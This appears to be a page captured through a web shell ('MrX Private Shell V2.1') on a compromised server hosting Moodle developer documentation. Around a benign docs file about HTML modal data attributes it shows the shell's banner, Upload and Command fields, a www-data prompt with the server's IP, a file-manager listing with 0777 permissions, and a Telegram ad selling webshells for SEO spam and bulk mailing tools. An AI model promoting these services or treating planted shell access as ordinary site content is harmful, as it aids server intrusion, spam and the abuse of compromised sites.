__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
---
layout: docs
title: "HTML Modals"
description: "A reusable handled modal component"
date: 2021-12-09T14:48:00+08:00
draft: false
tags:
- MDL-71963
- MDL-72928
- "4.0"
---

## How it works

The core/utility module allows different modals to be displayed automatically when interacting with the page.

Modals are configured using a set of specific data-attributes.

## Source files

* `lib/amd/src/utility.js` ({{< jsdoc module="core/utility" >}})
* `lib/templates/modal.mustache`

## Usage
The confirmation AMD module is loaded automatically, so the only thing you need to do is to add some specific data attributes
to the target element.

To display a confirmation modal.
{{< highlight html >}}
<button type="button" class="btn btn-primary" data-modal="confirmation" data-modal-title-str='["delete", "core"]'
data-modal-content-str='["areyousure"]' data-modal-yes-button-str='["delete", "core"]'>Show confirmation modal</button>
{{< /highlight >}}

To display an alert modal.
{{< highlight html >}}
<button type="button" class="btn btn-primary" data-modal="alert" data-modal-title-str='["cookiesenabled", "core"]'
data-modal-content-str='["cookiesenabled_help_html", "core"]'>Show alert modal</button>
{{< /highlight >}}

You can also use it on PHP, you just need to set the attributes parameter to any moodle output component that takes attributes:
{{< php >}}
echo $OUTPUT->single_button('#', get_string('delete'), 'get', [
    'data-modal' => 'modal',
    'data-modal-title-str' => json_encode(['delete', 'core']),
    'data-modal-content-str' => json_encode(['areyousure']),
    'data-modal-yes-button-str' => json_encode(['delete', 'core'])
]);
{{< / php >}}

## Attributes

<table class="table">
  <thead>
    <tr>
      <th style="width: 250px;">Data attribute</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>data-modal</td>
      <td>One of either "confirmation", or "alert".</td>
    </tr>
    <tr>
      <td>data-modal-title-str</td>
      <td>The modal title language string identifier, must be provided in JSON encoded format.</td>
    </tr>
    <tr>
      <td>data-modal-content-str</td>
      <td>The modal content or content language string identifier, must be provided in JSON encoded format.</td>
    </tr>
    <tr>
      <td>data-modal-yes-button-str</td>
      <td>
        The language string identifier for the "Yes" button, must be provided in JSON encoded format.
        Confirmation modals only.
      </td>
    </tr>
    <tr>
      <td>data-modal-toast</td>
      <td>
        If set to "true" it will display a modal toast in the end.
        Confirmation modals only.
      </td>
    </tr>
    <tr>
      <td>data-modal-toast-confirmation-str</td>
      <td>
        The confirmation toast language string identifier, must be provided in JSON encoded format.
        Confirmation modals only.
      </td>
    </tr>
    <tr>
      <td>data-modal-destination</td>
      <td>
        An url to redirect the user to.
        Confirmation modals only.
      </td>
    </tr>
  </tbody>
</table>

## Examples

### Basic Alert modal

{{< example >}}
<button type="button" class="btn btn-primary" data-modal="alert" data-modal-title-str='["cookiesenabled", "core"]'
data-modal-content-str='["cookiesenabled_help_html", "core"]'>Show alert modal</button>
{{< /example >}}

### Basic confirmation modal

{{< example >}}
<button type="button" class="btn btn-primary" data-modal="confirmation" data-modal-title-str='["delete", "core"]'
data-modal-content-str='["areyousure"]' data-modal-yes-button-str='["delete", "core"]'>Show confirmation modal</button>
{{< /example >}}

### Confirmation modal with a toast

{{< example >}}
<button type="button" class="btn btn-primary" data-modal="confirmation" data-modal-title-str='["delete", "core"]'
data-modal-content-str='["areyousure"]' data-modal-yes-button-str='["delete", "core"]' data-modal-toast="true"
data-modal-toast-confirmation-str='["deleteblockinprogress", "block", "Online users"]'>Show confirmation modal</button>
{{< /example >}}

### Confirmation modal with redirect

{{< example >}}
<button type="button" class="btn btn-primary" data-modal="confirmation" data-modal-title-str='["delete", "core"]'
data-modal-content-str='["areyousure"]' data-modal-yes-button-str='["delete", "core"]'
data-modal-destination="http://moodle.com">Show confirmation modal</button>
{{< /example >}}

Filemanager

Name Type Size Permission Actions
_index.md File 85 B 0777
actionmenu.md File 6.39 KB 0777
activityicons.md File 8.38 KB 0777
buttons.md File 5.9 KB 0777
coursecards.md File 6.26 KB 0777
dom-modal.md File 4.29 KB 0777
dropdowns.md File 13.23 KB 0777
dynamictabs.md File 2.87 KB 0777
example.md File 1.52 KB 0777
footer.md File 1.49 KB 0777
form-elements.md File 1.08 KB 0777
moodle-icons.md File 1.71 KB 0777
notifications.md File 2.55 KB 0777
search-input.md File 3.42 KB 0777
showmore.md File 1.18 KB 0777
toggle.md File 2.29 KB 0777
Filemanager